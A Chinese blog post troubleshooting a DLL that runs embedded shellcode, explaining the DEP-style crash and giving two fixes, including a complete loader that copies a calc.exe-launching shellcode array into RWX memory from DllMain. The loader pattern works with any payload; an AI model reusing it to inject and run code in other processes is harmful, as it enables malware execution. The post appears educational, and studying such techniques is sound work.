使用dll加载shellcode编程中的问题

前言

前两天有个朋友在群里问了一个问题,想要实现用dll加载shellcode,但是写好了代码遇见了问题,shellcode运行不了,于是就有了这篇博客

运行不了的代码

他把运行不了的代码发了出来

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"

HANDLE hThread = NULL;
unsigned char shellcode[193] = {
    
    
    0xFC, 0xE8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89,
    0xE5, 0x31, 0xC0, 0x64, 0x8B, 0x50, 0x30, 0x8B,
    0x52, 0x0C, 0x8B, 0x52, 0x14, 0x8B, 0x72, 0x28,
    0x0F, 0xB7, 0x4A, 0x26, 0x31, 0xFF, 0xAC, 0x3C,
    0x61, 0x7C, 0x02, 0x2C, 0x20, 0xC1, 0xCF, 0x0D,
    0x01, 0xC7, 0xE2, 0xF2, 0x52, 0x57, 0x8B, 0x52,
    0x10, 0x8B, 0x4A, 0x3C, 0x8B, 0x4C, 0x11, 0x78,
    0xE3, 0x48, 0x01, 0xD1, 0x51, 0x8B, 0x59, 0x20,
    0x01, 0xD3, 0x8B, 0x49, 0x18, 0xE3, 0x3A, 0x49,
    0x8B, 0x34, 0x8B, 0x01, 0xD6, 0x31, 0xFF, 0xAC,
    0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0x38, 0xE0, 0x75,
    0xF6, 0x03, 0x7D, 0xF8, 0x3B, 0x7D, 0x24, 0x75,
    0xE4, 0x58, 0x8B, 0x58, 0x24, 0x01, 0xD3, 0x66,
    0x8B, 0x0C, 0x4B, 0x8B, 0x58, 0x1C, 0x01, 0xD3,
    0x8B, 0x04, 0x8B, 0x01, 0xD0, 0x89, 0x44, 0x24,
    0x24, 0x5B, 0x5B, 0x61, 0x59, 0x5A, 0x51, 0xFF,
    0xE0, 0x5F, 0x5F, 0x5A, 0x8B, 0x12, 0xEB, 0x8D,
    0x5D, 0x6A, 0x01, 0x8D, 0x85, 0xB2, 0x00, 0x00,
    0x00, 0x50, 0x68, 0x31, 0x8B, 0x6F, 0x87, 0xFF,
    0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x68, 0xA6,
    0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x3C, 0x06, 0x7C,
    0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47,
    0x13, 0x72, 0x6F, 0x6A, 0x00, 0x53, 0xFF, 0xD5,
    0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65,
    0x00
};
DWORD WINAPI jmp_shellcode(LPVOID pPara)
{
    
    
    __asm
    {
    
    
        mov eax, offset shellcode
        jmp eax
    }

    return 0;
}
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    
    
    switch (ul_reason_for_call)
    {
    
    
    case DLL_PROCESS_ATTACH:
        hThread = CreateThread(NULL, 0, jmp_shellcode, 0, 0, 0);
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

问题定位

其实我第一眼看着这代码感觉没问题啊,是应该能运行的,后来细看了一下,发现shellcode是一个大数组,编译成功后在shellcode数组是在数据段的,如下图所示

在这里插入图片描述

可看到,数据段是没有可执行权限的

在这里插入图片描述
加载dll,运行崩溃,异常代码C0000005,无权限
在这里插入图片描述

使用LordPE查看异常代码位置,果然就是shellcode的起始位置

在这里插入图片描述

解决方法

明确了问题原因,就要开始解决问题,在这里我提供两种解决方案

解决方案一

更改数据段可执行权限

在这里插入图片描述

再次加载,计算器成功弹出

在这里插入图片描述

解决方案二

方案一治标不治本,所以最好的解决方式是将代码改变,改为申请一块可执行内存,将shellcode放入这块内存中去执行,代码如下,为了省力,没有做错误检查

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"

HANDLE hThread = NULL;
typedef void(__stdcall* JMP_SHELLCODE)();
unsigned char shellcode[193] = {
    
    
    0xFC, 0xE8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89,
    0xE5, 0x31, 0xC0, 0x64, 0x8B, 0x50, 0x30, 0x8B,
    0x52, 0x0C, 0x8B, 0x52, 0x14, 0x8B, 0x72, 0x28,
    0x0F, 0xB7, 0x4A, 0x26, 0x31, 0xFF, 0xAC, 0x3C,
    0x61, 0x7C, 0x02, 0x2C, 0x20, 0xC1, 0xCF, 0x0D,
    0x01, 0xC7, 0xE2, 0xF2, 0x52, 0x57, 0x8B, 0x52,
    0x10, 0x8B, 0x4A, 0x3C, 0x8B, 0x4C, 0x11, 0x78,
    0xE3, 0x48, 0x01, 0xD1, 0x51, 0x8B, 0x59, 0x20,
    0x01, 0xD3, 0x8B, 0x49, 0x18, 0xE3, 0x3A, 0x49,
    0x8B, 0x34, 0x8B, 0x01, 0xD6, 0x31, 0xFF, 0xAC,
    0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0x38, 0xE0, 0x75,
    0xF6, 0x03, 0x7D, 0xF8, 0x3B, 0x7D, 0x24, 0x75,
    0xE4, 0x58, 0x8B, 0x58, 0x24, 0x01, 0xD3, 0x66,
    0x8B, 0x0C, 0x4B, 0x8B, 0x58, 0x1C, 0x01, 0xD3,
    0x8B, 0x04, 0x8B, 0x01, 0xD0, 0x89, 0x44, 0x24,
    0x24, 0x5B, 0x5B, 0x61, 0x59, 0x5A, 0x51, 0xFF,
    0xE0, 0x5F, 0x5F, 0x5A, 0x8B, 0x12, 0xEB, 0x8D,
    0x5D, 0x6A, 0x01, 0x8D, 0x85, 0xB2, 0x00, 0x00,
    0x00, 0x50, 0x68, 0x31, 0x8B, 0x6F, 0x87, 0xFF,
    0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x68, 0xA6,
    0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x3C, 0x06, 0x7C,
    0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47,
    0x13, 0x72, 0x6F, 0x6A, 0x00, 0x53, 0xFF, 0xD5,
    0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65,
    0x00
};

DWORD WINAPI jmp_shellcode(LPVOID pPara)
{
    
    
    LPVOID lpBase = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(lpBase, shellcode, sizeof(shellcode));
    JMP_SHELLCODE jmp_shellcode = (JMP_SHELLCODE)lpBase;
    jmp_shellcode();
    return 0;
}
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    
    
    switch (ul_reason_for_call)
    {
    
    
    case DLL_PROCESS_ATTACH:
        hThread = CreateThread(NULL, 0, jmp_shellcode, 0, 0, 0);
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

编译好后加载dll,正常运行shellcode

猜你喜欢

转载自blog.csdn.net/weixin_44001905/article/details/104733600
今日推荐